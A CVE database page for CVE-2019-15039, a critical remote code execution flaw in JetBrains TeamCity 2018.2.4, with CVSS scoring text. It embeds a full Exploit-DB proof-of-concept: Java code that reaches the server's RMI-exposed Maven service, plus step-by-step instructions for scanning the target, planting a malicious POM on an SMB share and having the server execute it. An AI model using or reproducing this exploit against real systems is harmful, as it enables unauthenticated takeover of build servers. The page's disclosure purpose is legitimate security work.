CVE-2019-15039 : Detail

CVE-2019-15039

9.8
/
Critical
Directory Traversal
A01-Broken Access Control
14.76%V3
Network
2019-10-01
11h20 +00:00
2020-01-10
16h17 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

An issue was discovered in JetBrains TeamCity 2018.2.4. It had a possible remote code execution issue. This was fixed in TeamCity 2019.1.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 47891

Publication date : 2020-01-07
23h00 +00:00
Author : hantwister
EDB Verified : Yes

# Exploit Title: JetBrains TeamCity 2018.2.4 - Remote Code Execution # Date: 2020-01-07 # Exploit Author: Harrison Neal # Vendor Homepage: https://www.jetbrains.com/ # Software Link: https://confluence.jetbrains.com/display/TW/Previous+Releases+Downloads # Version: 2018.2.4 for Windows # CVE: CVE-2019-15039 # You'll need a few .jars from a copy of TeamCity to compile and run this code # To compile, file path should match ${package}/${class}.java, e.g., # com/whatdidibreak/teamcity_expl/Main.java # Instructions for Windows (easier case): # 1) Verify exploitability. # 1a) Verify the remote host is running Windows, e.g. checking for common # running services and their versions. # 1b) Discover Java RMI services on the remote host, e.g. doing a 65k port # scan using nmap and the rmi-dumpregistry script. On one port, there # should be a registry with an object named teamcity-mavenServer. This # object should point to a second open port that is also identified as # Java RMI. # 2) Prepare the payload. # 2a) There needs to be an SMB share that the TeamCity software can read from # and that you can write to. You might establish a share on your own # system and make it accessible to anonymous users. Alternatively, if the # TeamCity server is domain-joined, you might find a pre-existing share # elsewhere in the domain. # 2b) Place a malicious POM in that share, e.g. <project> <modelVersion>4.0.0</modelVersion> <groupId>com.mycompany.app</groupId> <artifactId>my-module</artifactId> <version>1</version> <build> <plugins> <plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>exec-maven-plugin</artifactId> <version>1.1.1</version> <executions> <execution> <goals> <goal>exec</goal> </goals> </execution> </executions> <configuration> <executable>calc</executable> <arguments> <argument>-testarg</argument> </arguments> </configuration> </plugin> </plugins> </build> </project> # 3) Run this exploit. # Argument #1: TeamCity host (IP or FQDN) # Argument #2: Port of RMI Registry (the first open port described above) # Argument #3: UNC path to the malicious POM file (e.g., \\ip\share\pom.xml) # Argument #4: POM goal (e.g., exec:exec) # NOTE: It is possible to exploit this issue in other situations, e.g. if the # TeamCity server is running on a *nix system that allows access to some local # directory over NFS. */ package com.whatdidibreak.teamcity_expl; import java.io.File; import java.io.IOException; import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RMISocketFactory; import java.util.ArrayList; import java.util.List; import jetbrains.buildServer.maven.remote.MavenServer; import jetbrains.buildServer.maven.remote.RemoteEmbedder; import org.jetbrains.maven.embedder.MavenEmbedderSettings; import org.jetbrains.maven.embedder.MavenExecutionResult; public class Main { public static void main(String[] args) throws Throwable { String host = args[0]; int port = Integer.parseInt(args[1]); String pomPath = args[2]; String goal = args[3]; // The exported object may point to a different host than what we're // using to connect to the registry, which could break things, i.e., // - localhost // - for a multi-homed target, an IP we can't connect to // - a FQDN or hostname we can't resolve // - etc. // For this reason, we'll set up a socket factory that forces all // connections to go to the host specified by the user, ignoring the // host pointed to by the exported object. OverrideHostSocketFactory sf = new OverrideHostSocketFactory(host); RMISocketFactory.setSocketFactory(sf); // The rest of the code in this method should look fairly typical for // interacting with remote objects using RMI. Registry r = LocateRegistry.getRegistry(host, port, sf); MavenServer ms = (MavenServer) r.lookup("teamcity-mavenServer"); MavenEmbedderSettings mes = new MavenEmbedderSettings(); RemoteEmbedder re = ms.exportEmbedder(mes); File f = new File(pomPath); List ap = new ArrayList(); List g = new ArrayList(); g.add(goal); MavenExecutionResult mer = re.execute(f, ap, g); } private static class OverrideHostSocketFactory extends RMISocketFactory { private String targetHost; public OverrideHostSocketFactory(String targetHost) { this.targetHost = targetHost; } @Override public Socket createSocket(String host, int port) throws IOException { Socket toReturn = new Socket(); toReturn.connect(new InetSocketAddress(targetHost, port)); return toReturn; } @Override public ServerSocket createServerSocket(int port) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } } }

Products Mentioned

Configuraton 0

Jetbrains>>Teamcity >> Version 2018.2.4

References